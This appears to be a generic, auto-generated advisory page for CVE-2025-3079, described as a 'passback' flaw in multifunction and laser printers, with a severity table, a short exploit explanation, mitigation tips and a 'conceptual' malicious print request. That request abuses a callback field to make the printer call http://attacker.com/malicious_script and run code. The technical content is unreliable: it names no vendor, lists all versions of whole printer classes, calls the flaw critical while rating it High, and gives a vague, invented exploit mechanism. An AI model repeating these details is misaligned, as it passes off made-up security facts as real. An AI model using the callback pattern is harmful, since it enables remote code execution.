Overview
CVE-2025-3079 is a critical vulnerability that plagues office and small office multifunction printers as well as laser printers. This vulnerability, identified as a passback vulnerability, has the potential to compromise systems or lead to significant data leakage if left unaddressed. Given the ubiquity of these devices in various offices and small businesses, the impact of this vulnerability could be widespread and potentially catastrophic.
Vulnerability Summary
CVE ID: CVE-2025-3079
Severity: High (8.7)
Attack Vector: Local Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Multifunction Printers | All versions
Laser Printers | All versions
How the Exploit Works
The exploit takes advantage of the passback vulnerability present in the data processing mechanism of the affected printers. An attacker can send a specially crafted print request to the printer, which when processed, can grant unauthorized access to the printer’s system. This can lead to a range of malicious activities such as data theft, system compromise or even using the printer as a launching pad for further attacks within the network.
Conceptual Example Code
As an example, a malicious HTTP request exploiting this vulnerability could look like this:
POST /print HTTP/1.1
Host: printer.example.com
Content-Type: application/printer-specific
{
"print_request": {
"file": "normal_file.pdf",
"settings": {
"duplex": "true"
},
"callback": "http://attacker.com/malicious_script"
}
}In this example, the attacker uses the callback field, which is normally used for notifying the sender once the print job is done, to inject a malicious script. Once the printer processes the print request and calls back to the provided URL, the malicious script is executed, effectively compromising the printer.
Mitigation Guidance
The most effective way to mitigate this vulnerability is by applying the vendor’s patch. Vendors will typically release patches for their devices once a vulnerability has been identified. If a patch is not yet available, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can identify and block malicious traffic, preventing the exploit from reaching the printer. However, this is only a temporary solution and the printer should be updated with the vendor’s patch once available to ensure complete protection.